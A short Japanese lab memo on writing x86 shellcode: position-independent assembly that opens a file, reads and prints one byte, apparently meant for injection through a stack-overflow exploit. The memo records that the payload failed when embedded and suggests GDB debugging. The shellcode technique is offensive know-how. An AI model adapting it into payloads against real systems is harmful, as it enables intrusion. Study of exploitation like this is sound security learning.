1バイト読み込みペイロードの実験メモ。このペイロードはファイルの先頭から1バイト読み込みを行い、コマンドライン上に文字として読み込んだバイトを表示する。結論から言うと、この実権は失敗している。
.globl main
main:
jmp ONE
TWO:
#open
popl %ebx
mov $0x5, %al
xorl %ecx, %ecx
int $0x80
#read
xorl %edx, %edx
inc %edx
mov %esp, %ecx
mov %eax, %ebx
mov $0x3, %al
int $0x80
mov %ebx, %esi
#write
mov $0x4, %al
mov $0x1, %bl
int $0x80
#close
mov $0x6, %al
mov %esi, %ebx
int $0x80
#exit
mov $0x1, %al
xorl %ebx, %ebx
int $0x80
ONE:
call TWO
.string "/home/defolos/Desktop/test"
x234
コマンドラインから実行する場合においては、このペイロードは意図した動作を行う。
defolos@glazheim:~$ gcc fread_onebyte.s defolos@glazheim:~$ ./a.out xdefolos@glazheim:~$
しかし、C言語のExploit([SC] exploit.c)に埋め込んだ状態では意図した動作を行わなかった。
defolos@glazheim:~$ ./exploit.exe sp = 0xbffff8f8 ret = 0xbffff8f8 -------exploit---------------
ペイロードの振る舞いはscanf()のような入力待ち受け状態になるだけであった。少なくとも、ペイロードはExploitから呼ばれているため、Exploitにはバグはないと判断できる。バグがあるとすればfread_onebyte.sペイロード内である。特に、入力待ち受け状態になる振る舞いはバイトコードへの変換ミスでよく起こる現象である。
ペイロードが意図した動作を行わなかった点が問題点である。解決策のひとつとしてGDB(GNU Debuger)を利用してプログラムをトレースする策が挙げられる。